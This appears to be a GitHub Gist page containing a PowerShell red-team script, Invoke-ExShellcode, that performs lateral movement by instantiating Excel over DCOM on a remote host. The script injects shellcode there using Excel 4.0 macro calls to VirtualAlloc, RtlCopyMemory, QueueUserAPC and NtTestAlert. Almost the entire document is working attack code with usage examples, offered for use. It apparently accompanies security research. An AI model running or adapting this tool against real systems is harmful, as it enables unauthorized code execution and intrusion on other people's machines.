Last active
November 28, 2024 18:47
-
-
Save Philts/f7c85995c5198e845c70cc51cd4e7e2a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
Lateral movement and shellcode injection via Excel 4.0 macros | |
Author: Philip Tsukerman (@PhilipTsukerman) | |
License: BSD 3-Clause | |
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM | |
#> | |
function Invoke-ExShellcode | |
{ | |
<# | |
.SYNOPSIS | |
Inject Shellcode into a local or remote instance of the Excel.Application COM object | |
.PARAMETER ComputerName | |
Specify a remote host to inject into. | |
.PARAMETER Payload | |
A file containing the shellcode bytes | |
.PARAMETER x64 | |
Specify the x64 switch to enable x64 shellcode injection | |
.EXAMPLE | |
PS > Invoke-ExShellcode -ComputerName server01 -Payload C:\temp\payload.bin -x64 | |
Injects the x64 payload in payload.bin to an x64 Excel instance on server01 | |
.NOTES | |
Based on Invoke-Excel4DCOM by Stan Hegt (@StanHacked) / Outflank - https://github.com/outflanknl/Excel4-DCOM | |
#> | |
[CmdletBinding()] Param( | |
[Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)] | |
[Alias("PSComputerName","MachineName","IP","IPAddress","Host")] | |
[String] | |
$ComputerName, | |
[Parameter(Position = 1, Mandatory = $true)] | |
[Alias("Shellcode")] | |
[String] | |
$Payload, | |
[switch]$x64 | |
) | |
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName")) | |
if ($x64) { # If we're injecting to a x64 process, try to allocate memory at an address representable by a DWORD | |
$lpAddress = 0x50000000 | |
} | |
else { | |
$lpAddress = 0 | |
} | |
$sc = Get-Content -Encoding Byte $Payload | |
# Allocate a buffer for shellcode | |
$memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",'+$lpAddress+',' + $sc.length + ',12288,64)') | |
if ($memaddr -eq 0) {throw "ERROR - Could not allocate memory buffer" } | |
# Build a series of strings from which to copy our shellcode, without exceeding maximum macro size, and write the bytes to our buffer | |
$count = 0 # Bytes Processed by our loop | |
$string = "" # Current byte string to be written in our buffer | |
$curlength = 0 # Length of the current string as a byte buffer | |
$cursor = 0 # Offset from the bae of the buffer to which we write the current byte string | |
foreach ($byte in $sc) { | |
if ($byte -eq 0) { | |
# The string datatype can't handle zero bytes, so we give them special treatment | |
if ($curlength -gt 0) { | |
# If there's already a buffer to write, flush it | |
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')') | |
} | |
# just skip the zero byte, as VirtualAlloc initializes our buffer to zeroes anyway | |
$curlength = 0 | |
$string = "" | |
$count += 1 | |
continue | |
} | |
if ($curlength -eq 0 ) { | |
# This is the beginning | |
$cursor = $count | |
$string += "CHAR`($byte`)" | |
} | |
else { | |
# If we're in the middle of a string, prepend '&' to the byte value to concatnate it to the previous one | |
$string += "&CHAR`($byte`)" | |
} | |
$curlength += 1 | |
if ($string.Length -ge 150) { | |
# Flush and write the current byte string to the target buffer | |
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')') | |
$string = "" | |
$curlength = 0 | |
} | |
$count += 1 | |
# Call Write-Progress for every 10 bytes processed, the progress bar adds considerable performance overhead and should not be called for every byte | |
if ($count % 10 -eq 0) {Write-Progress -Id 1 -Activity "Invoke-Excel4DCOM" -CurrentOperation "Injecting shellcode" -PercentComplete ($count / $sc.length * 100)} | |
} | |
if ($curlength -gt 0) { | |
# Write any leftover bytes to the buffer | |
$ret = $excel.ExecuteExcel4Macro('CALL("kernel32", "RtlCopyMemory", "JJCJ",'+($memaddr+ $cursor)+ ','+$string+','+$curlength+')') | |
} | |
# Queue an APC with the address of the shellcode to the current thread. Seems like there's a single thread handling our macros, so the next CALL will be still handled by the same thread | |
$excel.ExecuteExcel4Macro('CALL("Kernel32","QueueUserAPC","JJJJ", ' + $memaddr + ', -2, 0)') | |
# NtTestAlert will flush the current thread's APC cache, and execute our shellcode | |
# The Start-Job timeout hack exists here as otherwise the command will hang until the shellcode returns (and crashes the process) | |
Start-Job {param($excel)$excel.ExecuteExcel4Macro('CALL("ntdll", "NtTestAlert", "J")')} -ArgumentList $excel |Wait-Job -timeout 1 | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
https://www.cybereason.com/blog/excel4.0-macros-now-with-twice-the-bits